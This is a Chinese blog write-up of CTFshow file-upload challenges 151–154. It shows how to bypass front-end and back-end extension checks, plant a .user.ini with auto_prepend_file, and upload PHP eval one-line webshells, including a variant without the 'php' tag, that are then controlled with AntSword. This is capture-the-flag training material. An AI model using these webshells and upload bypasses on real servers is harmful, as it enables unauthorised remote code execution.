CTFshow web(文件上传151-154)

web151

哈,都直接送嘴边了,前端检测领域的问题,那就改前端啊,作者都直接提示了!

第一种方法也是最好用的就是直接把前端内容的png改成php就好

这里教大家一个非常好用的技巧,可以极大节省你的时间,因为代码比较多,你不可能一个个去翻看,所以把鼠标靠近上传图片,然后右键检查元素,就会自动帮你定位,接下来把png改成php,就可以直接上传一句话木马<?php @eval($_POST["a"]); ?>

ps:当然了,你不直接在前端改也是可以的,这里也是可以写好一句哈木马后以png形式上传,抓包后再把文件后缀改成php也是可以的,然后会返回蚁剑上传的网页网址

后缀加上upload\/111.php就好

还有一个小技巧,翻看flag先看www根目录,flag极大可能都在这,优先翻找,因为文件数还是很大的,别浪费时间。

web152

好了,人家改题目了,告诉你不能直接前端白嫖了,那就后端把png直接改成php就好了

接下来给了回显

往后面后缀加上upload\/111.php就好

之后蚁剑开始连接就好,注意flag位置

web153

老样子,还是那个后端检测。

知识点:

auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。

auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,自动加载并执行指定的文件。

这个配置选项可以用来在每个 PHP 脚本的结尾处执行一些共享的代码逻辑,例如清理工作、记录日志或执行一些全局操作。这样,就不必在每个脚本中显式编写和调用相同的代码,而是通过配置 auto_append_file 来实现统一的处理。

使用方法如下:

  1. 打开 PHP 的配置文件 php.ini

  2. 找到 auto_append_file 配置项。

  3. 将要追加执行的文件路径设置给 auto_append_file 配置项,例如:

    复制代码
    auto_append_file = "/path/to/your/file.php"
  4. 保存文件并重启 PHP 服务。

在接下来的 PHP 脚本执行后,指定的文件将会被自动加载和执行。

实战:先上传 .user.ini 文件,里面写入

复制代码
 auto_prepend_file=111.png

(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马**<?php @eval($_POST["x"]); ?>**

之后访问/upload/

接下来直接蚁剑连接就好

web154

刚开始还是像上面的步骤一样

先上传 .user.ini 文件,里面写入

复制代码
 auto_prepend_file=111.png

(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马**<?php @eval($_POST["x"]); ?>**

但是当我到上传111.png时发现文件不合规被禁了,想都不用想,肯定是被看出是木马了,所以这里必须把php去掉,对面识别到php就会提示不合理,无法上传。

这还不简单,换个木马不就好了嘛,

<?= eval($_POST[1]);?>

然后访问upload

接下来直接连接蚁剑就好

真诚地希望我的文章能够帮助大家,谢谢!

相关推荐
lntu_ling2 小时前
Python-基于Haversine公式计算两点距离
开发语言·python·gis算法
ShineWinsu7 小时前
对于C++:继承的解析—上
开发语言·数据结构·c++·算法·面试·笔试·继承
小付同学呀7 小时前
C语言学习(五)——输入/输出
c语言·开发语言·学习
梦幻精灵_cq8 小时前
学C之路:不可或缺的main()主函数框架(Learn-C 1st)
c语言·开发语言
love530love8 小时前
Scoop 完整迁移指南:从 C 盘到 D 盘的无缝切换
java·服务器·前端·人工智能·windows·scoop
消失的旧时光-19438 小时前
C++ 多线程与并发系统取向(二)—— 资源保护:std::mutex 与 RAII(类比 Java synchronized)
java·开发语言·c++·并发
王码码20359 小时前
Flutter for OpenHarmony:Flutter 三方库 bluez 玩转 Linux 风格的蓝牙操作(蓝牙底层互操作)
linux·运维·服务器·前端·flutter·云原生·harmonyos
福大大架构师每日一题9 小时前
go-zero v1.10.0发布!全面支持Go 1.23、MCP SDK迁移、性能与稳定性双提升
开发语言·后端·golang
五阿哥永琪9 小时前
1. 为什么java不能用is开头来做布尔值的参数名,会出现反序列化异常。
java·开发语言
逻极10 小时前
pytest 入门指南:Python 测试框架从零到一(2025 实战版)
开发语言·python·pytest